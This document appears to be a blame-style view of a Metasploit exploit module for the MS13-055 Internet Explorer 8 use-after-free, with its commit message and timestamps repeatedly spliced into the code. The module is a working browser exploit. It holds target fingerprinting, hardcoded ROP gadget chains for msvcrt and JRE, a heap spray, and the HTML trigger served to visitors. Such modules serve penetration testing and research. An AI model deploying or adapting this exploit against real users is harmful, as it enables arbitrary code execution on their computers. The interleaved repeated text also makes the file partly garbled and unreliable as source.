Add MS13-055 Internet Explorer Use-After-Free Vulnerability
In IE8 standards mode, it's possible to cause a use-after-free condition by first
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
with the final node being a sub table element. When the CPhraseElement's outer
content is reset by using either outerText or outerHTML through an event handler,
this triggers a free of its child element (in this case, a CAnchorElement, but
some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
make a call to the object's SecurityContext virtual function at offset +0x70, which
results a crash. An attacker can take advantage of this by first creating an
CAnchorElement object, let it free, and then replace the freed memory with another
fake object. Successfully doing so may allow arbitrary code execution under the
context of the user.
This bug is specific to Internet Explorer 8 only. It was originally discovered by
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update, so
no CVE as of now.
2013-09-09 01:02:23 +00:00
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info={})
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super(update_info(info,
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'Name' => "MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free",
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'Description' => %q{
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In IE8 standards mode, it's possible to cause a use-after-free condition by first
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creating an illogical table tree, where a CPhraseElement comes after CTableRow,
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with the final node being a sub table element. When the CPhraseElement's outer
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content is reset by using either outerText or outerHTML through an event handler,
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this triggers a free of its child element (in this case, a CAnchorElement, but
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some other objects apply too), but a reference is still kept in function
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SRunPointer::SpanQualifier. This function will then pass on the invalid reference
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to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
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make a call to the object's SecurityContext virtual function at offset +0x70, which
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results a crash. An attacker can take advantage of this by first creating an
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CAnchorElement object, let it free, and then replace the freed memory with another
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fake object. Successfully doing so may allow arbitrary code execution under the
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context of the user.
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This bug is specific to Internet Explorer 8 only. It was originally discovered by
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Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Orange Tsai', # Original discovery, PoC
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'Peter Vreugdenhil', # Joins the party (wtfuzz)
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'sinn3r' # Joins the party
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],
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'References' =>
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[
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2013-09-09 05:36:28 +00:00
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[ 'MSB', 'MS13-055' ],
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Add MS13-055 Internet Explorer Use-After-Free Vulnerability
In IE8 standards mode, it's possible to cause a use-after-free condition by first
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
with the final node being a sub table element. When the CPhraseElement's outer
content is reset by using either outerText or outerHTML through an event handler,
this triggers a free of its child element (in this case, a CAnchorElement, but
some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
make a call to the object's SecurityContext virtual function at offset +0x70, which
results a crash. An attacker can take advantage of this by first creating an
CAnchorElement object, let it free, and then replace the freed memory with another
fake object. Successfully doing so may allow arbitrary code execution under the
context of the user.
This bug is specific to Internet Explorer 8 only. It was originally discovered by
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update, so
no CVE as of now.
2013-09-09 01:02:23 +00:00
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[ 'URL', 'https://speakerd.s3.amazonaws.com/presentations/0df98910d26c0130e8927e81ab71b214/for-share.pdf' ]
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],
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', {} ],
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[
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'IE 8 on Windows XP SP3',
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{
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'Rop' => :msvcrt,
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'Pivot' => 0x77c15ed5, # xchg eax, esp; ret
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'Align' => 0x77c4d801 # add esp, 0x2c; ret
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}
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],
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[
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'IE 8 on Windows 7',
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{
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'Rop' => :jre,
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'Pivot' => 0x7c348b05, # xchg eax, esp; ret
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'Align' => 0x7C3445F8 # add esp, 0x2c; ret
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}
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]
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],
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'Payload' =>
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{
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2013-09-09 14:39:02 +00:00
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'BadChars' => "\x00"
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Add MS13-055 Internet Explorer Use-After-Free Vulnerability
In IE8 standards mode, it's possible to cause a use-after-free condition by first
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
with the final node being a sub table element. When the CPhraseElement's outer
content is reset by using either outerText or outerHTML through an event handler,
this triggers a free of its child element (in this case, a CAnchorElement, but
some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
make a call to the object's SecurityContext virtual function at offset +0x70, which
results a crash. An attacker can take advantage of this by first creating an
CAnchorElement object, let it free, and then replace the freed memory with another
fake object. Successfully doing so may allow arbitrary code execution under the
context of the user.
This bug is specific to Internet Explorer 8 only. It was originally discovered by
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update, so
no CVE as of now.
2013-09-09 01:02:23 +00:00
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},
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2013-09-09 14:39:02 +00:00
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'DefaultOptions' =>
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Add MS13-055 Internet Explorer Use-After-Free Vulnerability
In IE8 standards mode, it's possible to cause a use-after-free condition by first
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
with the final node being a sub table element. When the CPhraseElement's outer
content is reset by using either outerText or outerHTML through an event handler,
this triggers a free of its child element (in this case, a CAnchorElement, but
some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
make a call to the object's SecurityContext virtual function at offset +0x70, which
results a crash. An attacker can take advantage of this by first creating an
CAnchorElement object, let it free, and then replace the freed memory with another
fake object. Successfully doing so may allow arbitrary code execution under the
context of the user.
This bug is specific to Internet Explorer 8 only. It was originally discovered by
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update, so
no CVE as of now.
2013-09-09 01:02:23 +00:00
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{
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Privileged' => false,
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'DisclosureDate' => "Jul 09 2013",
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'DefaultTarget' => 0))
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end
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def get_target(agent)
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return target if target.name != 'Automatic'
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nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
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ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
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ie_name = "IE #{ie}"
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case nt
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when '5.1'
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os_name = 'Windows XP SP3'
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when '6.1'
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os_name = 'Windows 7'
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end
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targets.each do |t|
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if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
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return t
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end
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end
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nil
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end
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def get_payload(t, cli)
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rop = ''
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code = payload.encoded
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esp_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
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case t['Rop']
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when :msvcrt
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# Stack adjustment # add esp, -3500
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esp_align = "\x81\xc4\x54\xf2\xff\xff"
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print_status("Using msvcrt ROP")
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rop =
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[
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0x77c1e844, # POP EBP # RETN [msvcrt.dll]
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0x77c1e844, # skip 4 bytes [msvcrt.dll]
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0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
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0xffffffff,
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0x77c127e5, # INC EBX # RETN [msvcrt.dll]
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0x77c127e5, # INC EBX # RETN [msvcrt.dll]
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0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
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0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
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0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
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0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
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0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
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0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
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0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
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0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
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0x77c3048a, # POP EDI # RETN [msvcrt.dll]
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0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
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0x77c46efb, # POP ESI # RETN [msvcrt.dll]
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0x77c2aacc, # JMP [EAX] [msvcrt.dll]
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0x77c3b860, # POP EAX # RETN [msvcrt.dll]
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0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
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0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
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0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll]
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].pack("V*")
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else
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print_status("Using JRE ROP")
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rop =
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[
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0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
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0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
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0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
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0x7c3415a2, # JMP [EAX] [msvcr71.dll]
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0xffffffff,
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0x7c376402, # skip 4 bytes [msvcr71.dll]
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0x7c351e05, # NEG EAX # RETN [msvcr71.dll]
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0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]
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0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
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0x7c344f87, # POP EDX # RETN [msvcr71.dll]
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0xffffffc0, # Value to negate, will become 0x00000040
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0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]
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0x7c34d201, # POP ECX # RETN [msvcr71.dll]
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0x7c38b001, # &Writable location [msvcr71.dll]
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0x7c347f97, # POP EAX # RETN [msvcr71.dll]
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0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
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0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
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0x7c345c30 # ptr to 'push esp # ret ' [msvcr71.dll]
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# rop chain generated with mona.py
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].pack("V*")
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end
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rop_payload = rop
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rop_payload << esp_align
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rop_payload << code
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rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt
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rop_payload
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end
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def junk
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rand_text_alpha(4).unpack("V")[0].to_i
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end
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def nop
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make_nops(4).unpack("V")[0].to_i
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end
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def get_html(t, p)
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js_pivot = Rex::Text.to_unescape([t['Pivot']].pack("V*"))
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js_payload = Rex::Text.to_unescape(p)
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js_align = Rex::Text.to_unescape([t['Align']].pack("V*"))
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js_junk = Rex::Text.to_unescape([junk].pack("V*"))
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q_id = Rex::Text.rand_text_alpha(1)
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html = %Q|
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<!DOCTYPE html>
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<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
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<head>
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<meta>
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<?IMPORT namespace="t" implementation="#default#time2">
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</meta>
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</head>
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<script>
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#{js_mstime_malloc}
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window.onload = function() {
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var x = document.getElementById("#{q_id}");
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x.outerText = "";
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a = document.getElementById('myanim');
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p = '';
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for (i=0; i < 7; i++) {
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p += unescape("#{js_junk}");
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}
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p += unescape("#{js_payload}");
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fo = unescape("#{js_align}");
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for (i=0; i < 28; i++) {
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if (i == 27) { fo += unescape("#{js_pivot}"); }
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else { fo += unescape("#{js_align}"); }
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}
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fo += p;
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mstime_malloc({shellcode:fo, heapBlockSize:0x68, objId:"myanim"});
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}
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</script>
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<table>
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<tr>
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<div>
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<span>
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<q id='#{q_id}'>
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<a>
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<td></td>
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</a>
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</q>
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</span>
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</div>
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</tr>
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</table>
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<t:ANIMATECOLOR id="myanim"/>
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</html>
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html.gsub(/^\t\t/, '')
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end
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def on_request_uri(cli, request)
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agent = request.headers['User-Agent']
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t = get_target(agent)
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if t
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p = get_payload(t, cli)
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html = get_html(t, p)
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print_status("Sending exploit...")
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send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
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else
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print_error("Not a suitable target: #{agent}")
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send_not_found(cli)
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end
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end
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end
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